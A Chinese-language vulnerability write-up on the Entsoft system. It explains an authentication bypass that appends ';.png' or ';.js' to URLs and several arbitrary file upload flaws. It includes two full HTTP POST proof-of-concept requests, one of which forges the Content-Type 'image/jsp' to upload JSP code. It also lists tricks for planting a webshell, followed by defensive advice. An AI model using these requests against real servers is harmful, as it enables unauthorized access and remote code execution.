某恩特文件上传漏洞分析
字数 1384 2025-08-24 07:48:10
某恩特系统文件上传漏洞分析与利用教学文档
0x01 漏洞概述
某恩特系统存在多处文件上传漏洞,攻击者可以利用这些漏洞上传任意文件(包括恶意脚本)到服务器,进而获取系统控制权。该系统还存在着鉴权绕过问题,使得未授权访问成为可能。
0x02 漏洞分析
1. 原始文件上传漏洞 (fileupload.jsp)
漏洞位置:
/entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp
漏洞原理:
- 该JSP文件直接获取输入流和文件名,未做任何过滤即保存文件
- 导致任意文件上传漏洞
利用限制:
- 该漏洞影响范围有限,多数系统已修复
- 系统对jsp等脚本文件做了鉴权,但fileupload.jsp在开发者允许访问的白名单中
2. 鉴权绕过机制
分析发现:
- 通过查看web.xml和反编译common.jar文件,发现系统使用Filter进行访问控制
- 系统通过contains方法判断URL是否包含需要排除的字符和路径
绕过方法:
- 在访问路径后添加
;.js、;.jpg、;.html等后缀- 例如:
/entsoft/MailAction.entphone;.png
- 例如:
- 这种技术可以绕过登录限制,访问原本需要鉴权的功能
3. MailAction中的文件上传漏洞
漏洞位置:
/entsoft/MailAction.entphone;.png?act=saveAttaFile
漏洞原理:
- MailAction接收method、act、eid三个参数
- 当act=saveAttaFile时,执行文件上传操作
- 未对文件后缀进行任何过滤,导致任意文件上传
利用POC:
POST /entsoft/MailAction.entphone;.png?act=saveAttaFile HTTP/1.1
Host: xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file"; filename="beautif.js"
Content-Type: xxx/txt
1
------WebKitFormBoundarye8FPHsIAq9JN8j2A--
4. AppUpload方法中的文件上传漏洞
漏洞位置:
/entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1
漏洞原理:
- 判断contentType是否不为空
- 判断contentType是否包含"image"
- 取contentType中的值作为后缀
- 可通过伪造contentType为
image/jsp绕过限制
利用POC:
POST /entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1 HTTP/1.1
Host: host
Content-Type: multipart/form-data; boundary=-255059884712683317431739889351
--255059884712683317431739889351
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/jsp
<%= (new java.util.Date()).toLocaleString()%>
--255059884712683317431739889351--
5. 其他存在漏洞的接口
/entsoft/CustomerAction.entphone;.js?method=loadFile- 系统中几乎所有包含上传功能的Action都可能存在类似问题
0x03 漏洞利用技巧
-
鉴权绕过技巧:
- 尝试在URL后添加各种后缀:
;.js、;.png、;.html等 - 尝试路径穿越:
/xxx可访问的路径/../鉴权路径
- 尝试在URL后添加各种后缀:
-
文件上传技巧:
- 对于检查contentType的上传点,尝试伪造contentType(如
image/jsp) - 对于检查文件名的上传点,尝试使用特殊字符绕过(如
;、%00等)
- 对于检查contentType的上传点,尝试伪造contentType(如
-
漏洞组合利用:
- 结合鉴权绕过和文件上传漏洞进行利用
- 上传webshell后,进一步渗透系统
0x04 防御建议
-
文件上传防护:
- 严格校验文件类型,不仅检查扩展名,还要检查文件内容
- 使用白名单机制限制可上传的文件类型
- 对上传文件重命名,避免直接使用用户提供的文件名
- 将上传文件存储在非web可访问目录
-
鉴权防护:
- 修复鉴权绕过漏洞,严格校验请求路径
- 避免使用contains方法进行路径匹配
- 实现完整的权限控制系统
-
其他防护措施:
- 定期更新系统补丁
- 限制服务器端脚本执行权限
- 部署WAF防护常见攻击
0x05 总结
某恩特系统存在多处严重安全漏洞,特别是文件上传结合鉴权绕过的问题危害极大。攻击者可以轻易上传恶意文件并执行任意代码。建议使用该系统的组织立即检查并修复这些漏洞,同时加强系统整体的安全防护措施。